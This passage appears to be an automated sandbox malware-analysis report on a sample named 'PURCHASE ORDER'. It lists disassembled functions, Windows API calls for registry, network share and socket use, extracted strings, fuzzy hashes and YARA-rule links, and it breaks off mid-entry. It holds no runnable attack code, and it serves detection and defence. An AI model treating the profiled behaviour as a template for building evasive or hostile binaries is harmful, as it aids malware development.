                                                                          • Instruction ID: 42a5c2f6345f2e10047da6565a111f96cfad8617a22bea28fc44504b1d19b7ce
                                                                          • Opcode Fuzzy Hash: ef66654f81976a0e6a78d75721240b4b5dad2d0c7f05b7bb9659983eace5fa73
                                                                          • Instruction Fuzzy Hash: 9F51A171518345ABD324EF91CC41DAF77A8AF84754F04093FF94463292EB78EE488B6A
                                                                          Function 0046F90E Relevance: 21.1, APIs: 14, Instructions: 147windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetWindowLongW.USER32(?,000000F0), ref: 0046F911
                                                                          • LoadImageW.USER32(00000000,?,00000000,00000000,00000000,00002010), ref: 0046F929
                                                                          • SendMessageW.USER32(?,000000F7,00000000,00000000), ref: 0046F942
                                                                          • DeleteObject.GDI32(?), ref: 0046F950
                                                                          • DestroyIcon.USER32(?,?,000000F7,00000000,00000000,?,00000000,00000000,00000000,00002010,?,000000F0), ref: 0046F95E
                                                                          • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00002010), ref: 0046F9A8
                                                                          • SendMessageW.USER32(?,000000F7,00000001,00000000), ref: 0046F9C1
                                                                          • DeleteObject.GDI32(?), ref: 0046F9CF
                                                                          • DestroyIcon.USER32(?,?,000000F7,00000001,00000000,?,00000001,00000000,00000000,00002010), ref: 0046F9DD
                                                                          • ExtractIconExW.SHELL32(?,?,?,000000FF,00000001), ref: 0046FA1D
                                                                          • DestroyIcon.USER32(?), ref: 0046FA4F
                                                                          • SendMessageW.USER32(?,000000F7,00000001,?), ref: 0046FA5A
                                                                          • DeleteObject.GDI32(?), ref: 0046FA68
                                                                          • DestroyIcon.USER32(?,?,000000F7,00000001,?), ref: 0046FA76
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Icon$Destroy$DeleteMessageObjectSend$ImageLoad$ExtractLongWindow
                                                                          • String ID:
                                                                          • API String ID: 3412594756-0
                                                                          • Opcode ID: f692dd120a8e9e8c350368ee646f6d7ebba10fee5470a76da8eaf9bc85602db5
                                                                          • Instruction ID: 2b127e2e725f503062080ad48664a75956f0b49bd2ac624c91da1236fc619d99
                                                                          • Opcode Fuzzy Hash: f692dd120a8e9e8c350368ee646f6d7ebba10fee5470a76da8eaf9bc85602db5
                                                                          • Instruction Fuzzy Hash: BD41B575344301ABE7209B65ED45B6B7398EB44711F00083EFA85A7381DBB9E809C76A
                                                                          Function 0045D971 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 140COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0045335B: CharLowerBuffW.USER32(?,?,?,0045D9DB,?,?,?), ref: 0045336E
                                                                            • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                          • GetDriveTypeW.KERNEL32 ref: 0045DA30
                                                                          • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DA76
                                                                          • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DAAB
                                                                          • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DADF
                                                                            • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: SendString$_wcslen$BuffCharDriveLowerType
                                                                          • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                                          • API String ID: 4013263488-4113822522
                                                                          • Opcode ID: b9e44105478404289108567262d296c88e7101013f7783f6c7bd148379995db0
                                                                          • Instruction ID: 78e8968fe3d68f28a61334a0544e46eb3ade7c09d07056eb4a028b8014bab4f9
                                                                          • Opcode Fuzzy Hash: b9e44105478404289108567262d296c88e7101013f7783f6c7bd148379995db0
                                                                          • Instruction Fuzzy Hash: 86516E71604300ABD710EF55CC85F5EB3E4AF88714F14496EF985AB2D2D7B8E908CB5A
                                                                          Function 00435A35 Relevance: 21.1, APIs: 14, Instructions: 136timeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _wcslen$_wcsncpy$LocalTime__wcstoi64
                                                                          • String ID:
                                                                          • API String ID: 228034949-0
                                                                          • Opcode ID: d55b35800c2a6f74fd0df3de6656c0821778ac1c15f087543c4dc83ec7dd6154
                                                                          • Instruction ID: c9113392db11e6d0b84b7dcaf0f9983ae7bcdcfbf3325debe08446cd55f13bc3
                                                                          • Opcode Fuzzy Hash: d55b35800c2a6f74fd0df3de6656c0821778ac1c15f087543c4dc83ec7dd6154
                                                                          • Instruction Fuzzy Hash: 874194B181435066DA10FF6AC8479DFB3A8EF89314F84495FF945D3162E378E64883AA
                                                                          Function 004334CA Relevance: 21.1, APIs: 14, Instructions: 132filecommemoryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,?,0046FAD5), ref: 004334F4
                                                                          • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043350F
                                                                          • GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043351A
                                                                          • GlobalLock.KERNEL32(00000000), ref: 00433523
                                                                          • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 00433533
                                                                          • GlobalUnlock.KERNEL32(00000000), ref: 0043353A
                                                                          • CloseHandle.KERNEL32(00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 00433541
                                                                          • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043354F
                                                                          • OleLoadPicture.OLEAUT32(?,00000000,00000000,00482A20,?), ref: 00433568
                                                                          • GlobalFree.KERNEL32(00000000), ref: 0043357B
                                                                          • GetObjectW.GDI32(?,00000018,?), ref: 004335A6
                                                                          • CopyImage.USER32(?,00000000,?,?,00002000), ref: 004335DB
                                                                          • DeleteObject.GDI32(?), ref: 00433603
                                                                          • SendMessageW.USER32(?,00000172,00000000,?), ref: 0043361B
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Global$File$CreateObject$AllocCloseCopyDeleteFreeHandleImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                                          • String ID:
                                                                          • API String ID: 3969911579-0
                                                                          • Opcode ID: c8af0a6d34b3156cf5dea3d494721158f709963105dd3e2632bd1b1f7de041f4
                                                                          • Instruction ID: 5aed18668fdc988692497ed4484016cc97142e8c7c748bcd34b77a3330007e11
                                                                          • Opcode Fuzzy Hash: c8af0a6d34b3156cf5dea3d494721158f709963105dd3e2632bd1b1f7de041f4
                                                                          • Instruction Fuzzy Hash: 70410471204210AFD710DF64DC88F6BBBE8FB89711F10492DFA45972A0D7B5A941CBAA
                                                                          Function 00445A77 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 73windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetParent.USER32 ref: 00445A8D
                                                                          • GetClassNameW.USER32(00000000,?,00000100), ref: 00445AA0
                                                                          • __wcsicoll.LIBCMT ref: 00445AC4
                                                                          • __wcsicoll.LIBCMT ref: 00445AE0
                                                                          • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00445B3D
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: __wcsicoll$ClassMessageNameParentSend
                                                                          • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                                          • API String ID: 3125838495-3381328864
                                                                          • Opcode ID: 6f6f70247b4827d2a410ddc22f410c306ecb8b2e46d0c95c17204de523c723c4
                                                                          • Instruction ID: 9ea7b4bfd8e333fc3d4c3d1cc69785ca983c3453aa66f955cff8de8c622a02b1
                                                                          • Opcode Fuzzy Hash: 6f6f70247b4827d2a410ddc22f410c306ecb8b2e46d0c95c17204de523c723c4
                                                                          • Instruction Fuzzy Hash: F011E9B1B40301BBFF10B6659C46EAF739CDF94759F00081BFD44E6182F6ACA9458769
                                                                          Function 00479921 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 314COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CopyVariant$ErrorLast
                                                                          • String ID: Conversion of parameters failed$NULL Pointer assignment$Not an Object type
                                                                          • API String ID: 2286883814-4206948668
                                                                          • Opcode ID: 2f6e4bc4aaf8f7a3794965dba448b56a5b6575b3b05f264a778baa01eb75d6f6
                                                                          • Instruction ID: 5c76bcf0434180a49ef26f8382d3619d889c8a8ee3f63882ad125ac36acecb62
                                                                          • Opcode Fuzzy Hash: 2f6e4bc4aaf8f7a3794965dba448b56a5b6575b3b05f264a778baa01eb75d6f6
                                                                          • Instruction Fuzzy Hash: 4EA1F0B1644300ABD620EB25CC81EABB3E9FBC4704F10891EF65987251D779E945CBAA
                                                                          Function 00475D8B Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 194COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0045335B: CharLowerBuffW.USER32(?,?,?,0045D9DB,?,?,?), ref: 0045336E
                                                                            • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                          • GetDriveTypeW.KERNEL32(?,?,00000061), ref: 00475EEC
                                                                          • _wcscpy.LIBCMT ref: 00475F18
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: BuffCharDriveLowerType_wcscpy_wcslen
                                                                          • String ID: a$all$cdrom$fixed$network$ramdisk$removable$unknown$HH
                                                                          • API String ID: 3052893215-4176887700
                                                                          • Opcode ID: 531685fb0cf90d6ae2ec3f9560420c3d557b818d2d0e5f32259ad5e7ccb69ffd
                                                                          • Instruction ID: 30c0e749cffa51fc832ec364bb88d57898ea161693411a08ebb212f54f1b1ce2
                                                                          • Opcode Fuzzy Hash: 531685fb0cf90d6ae2ec3f9560420c3d557b818d2d0e5f32259ad5e7ccb69ffd
                                                                          • Instruction Fuzzy Hash: E951E5716047009BC710EF51D981B9BB3D4AB85705F108C2FF948AB382D7B9DE09879B
                                                                          Function 004582BF Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 165registryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • StringFromIID.OLE32(?,?,00000003,?,?,00000000), ref: 004582E5
                                                                            • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                            • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                            • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                          • CoTaskMemFree.OLE32(?,00000000), ref: 00458335
                                                                          • RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?), ref: 00458351
                                                                          • RegQueryValueExW.ADVAPI32 ref: 00458381
                                                                          • CLSIDFromString.OLE32(00000000,?), ref: 004583AF
                                                                          • RegQueryValueExW.ADVAPI32 ref: 004583E8
                                                                          • LoadRegTypeLib.OLEAUT32(?,?), ref: 00458486
                                                                            • Part of subcall function 00413F97: __wtof_l.LIBCMT ref: 00413FA1
                                                                          • RegCloseKey.ADVAPI32(?), ref: 004584BA
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: FromQueryStringValue_wcslen$CloseFreeLoadOpenTaskType__wtof_l_wcscpy
                                                                          • String ID: Version$\TypeLib$interface\
                                                                          • API String ID: 656856066-939221531
                                                                          • Opcode ID: fae0be2ce993580ee9701cb6b1f6a998fde8705fa16d3e1feab2af977247b743
                                                                          • Instruction ID: 73379605cfaaf105ee685c6daddaf2c4824f5dc828714578f474d0d05c7db838
                                                                          • Opcode Fuzzy Hash: fae0be2ce993580ee9701cb6b1f6a998fde8705fa16d3e1feab2af977247b743
                                                                          • Instruction Fuzzy Hash: 19513B715083059BD310EF55D944A6FB3E8FFC8B08F004A2DF985A7251EA78DD09CB9A
                                                                          Function 0045E62E Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 155COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E676
                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                          • LoadStringW.USER32(?,?,?,00000FFF), ref: 0045E69A
                                                                          • __swprintf.LIBCMT ref: 0045E6EE
                                                                          • _printf.LIBCMT ref: 0045E7A9
                                                                          • _printf.LIBCMT ref: 0045E7D2
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: LoadString_printf$__swprintf_wcslen
                                                                          • String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                                          • API String ID: 3590180749-2354261254
                                                                          • Opcode ID: fd3ade05fede2dfa3d14bccfacac15f81e3d16141c85e45952f832d3a26197ce
                                                                          • Instruction ID: 835382aeb01427732dc6b750cf2ba574ed77461063debdd42288bdc21f9728b4
                                                                          • Opcode Fuzzy Hash: fd3ade05fede2dfa3d14bccfacac15f81e3d16141c85e45952f832d3a26197ce
                                                                          • Instruction Fuzzy Hash: B051D5715143019BD324FB51CC41EAF77A8AF84354F14093FF94563292DB78AE49CB6A
                                                                          Function 004580E1 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 136registryshareCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                          • _memset.LIBCMT ref: 00458194
                                                                          • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 004581D6
                                                                          • RegConnectRegistryW.ADVAPI32(?,80000002,00000000), ref: 004581F4
                                                                          • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,00000000), ref: 00458219
                                                                          • RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,?,?), ref: 00458248
                                                                          • CLSIDFromString.OLE32(00000000,?), ref: 00458279
                                                                          • RegCloseKey.ADVAPI32(00000000), ref: 0045828F
                                                                          • RegCloseKey.ADVAPI32(00000000), ref: 00458296
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memset_wcslen
                                                                          • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                                          • API String ID: 2255324689-22481851
                                                                          • Opcode ID: 40f125b4ffe5f12493adc0cb93ab67eb911e8c28f62e3d79c4190a4fe5521cad
                                                                          • Instruction ID: 0916ae95de1959dc40878de41837780f7e862baf069d4d5c3429810960799c2e
                                                                          • Opcode Fuzzy Hash: 40f125b4ffe5f12493adc0cb93ab67eb911e8c28f62e3d79c4190a4fe5521cad
                                                                          • Instruction Fuzzy Hash: 4A4190725083019BD320EF54C845B5FB7E8AF84714F044D2EFA8577291DBB8E949CB9A
                                                                          Function 004584D6 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 105registryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • RegOpenKeyExW.ADVAPI32(80000000,interface,00000000,00020019,?), ref: 00458513
                                                                          • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 00458538
                                                                          • RegCloseKey.ADVAPI32(?), ref: 00458615
                                                                            • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                          • RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,000001FE,interface\), ref: 0045858A
                                                                          • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,00000028), ref: 004585A8
                                                                          • __wcsicoll.LIBCMT ref: 004585D6
                                                                          • IIDFromString.OLE32(?,?,?,?), ref: 004585EB
                                                                          • RegCloseKey.ADVAPI32(?), ref: 004585F8
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CloseOpen$EnumFromQueryStringValue__wcsicoll_wcslen
                                                                          • String ID: ($interface$interface\
                                                                          • API String ID: 2231185022-3327702407
                                                                          • Opcode ID: f3ba987632fb2ab980929a1e8c26c1d4f1068388d2a95cb25d4e52b6d927b3fe
                                                                          • Instruction ID: 2ed788c9a442d2de66cb2a0eaf665167c450c6ff9570aaff4df7cfaf3afbbce1
                                                                          • Opcode Fuzzy Hash: f3ba987632fb2ab980929a1e8c26c1d4f1068388d2a95cb25d4e52b6d927b3fe
                                                                          • Instruction Fuzzy Hash: CE317271204305ABE710DF54DD85F6BB3E8FB84744F10492DF685A6191EAB8E908C76A
                                                                          Function 00436582 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 79networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • WSAStartup.WSOCK32(00000101,?), ref: 004365A5
                                                                          • gethostname.WSOCK32(00000100,00000100,00000101,?), ref: 004365BC
                                                                          • gethostbyname.WSOCK32(00000101,00000100,00000100,00000101,?), ref: 004365C6
                                                                          • _wcscpy.LIBCMT ref: 004365F5
                                                                          • WSACleanup.WSOCK32 ref: 004365FD
                                                                          • inet_ntoa.WSOCK32(00000100,?), ref: 00436624
                                                                          • _strcat.LIBCMT ref: 0043662F
                                                                          • _wcscpy.LIBCMT ref: 00436644
                                                                          • WSACleanup.WSOCK32(?,?,?,?,?,?,00000100,?), ref: 00436652
                                                                          • _wcscpy.LIBCMT ref: 00436666
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _wcscpy$Cleanup$Startup_strcatgethostbynamegethostnameinet_ntoa
                                                                          • String ID: 0.0.0.0
                                                                          • API String ID: 2691793716-3771769585
                                                                          • Opcode ID: 72edaa20f59d4c855ae2a4057bf2e912041bb0bcae33cfe0ba1e7234a9852c49
                                                                          • Instruction ID: 29d249c793a1599df1911ffab6ed89036a29d54f41df1114d8fa63e2d2305339
                                                                          • Opcode Fuzzy Hash: 72edaa20f59d4c855ae2a4057bf2e912041bb0bcae33cfe0ba1e7234a9852c49
                                                                          • Instruction Fuzzy Hash: 5C21D4726003016BD620FB269C42FFF33A89FD4318F54492FF64456242EABDD58983AB
                                                                          Function 00416B12 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57libraryloaderCOMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetModuleHandleW.KERNEL32(KERNEL32.DLL,0048C968,0000000C,00416C4D,00000000,00000000,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416B24
                                                                          • __crt_waiting_on_module_handle.LIBCMT ref: 00416B2F
                                                                            • Part of subcall function 0041177F: Sleep.KERNEL32(000003E8,?,?,00416A38,KERNEL32.DLL,?,00411B0C,?,00413973,00411739,?,?,00411739,?,00401C0B), ref: 0041178B
                                                                            • Part of subcall function 0041177F: GetModuleHandleW.KERNEL32(00411739,?,?,00416A38,KERNEL32.DLL,?,00411B0C,?,00413973,00411739,?,?,00411739,?,00401C0B), ref: 00411794
                                                                          • GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00416B58
                                                                          • GetProcAddress.KERNEL32(00411739,DecodePointer), ref: 00416B68
                                                                          • __lock.LIBCMT ref: 00416B8A
                                                                          • InterlockedIncrement.KERNEL32(00EA60FF), ref: 00416B97
                                                                          • __lock.LIBCMT ref: 00416BAB
                                                                          • ___addlocaleref.LIBCMT ref: 00416BC9
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
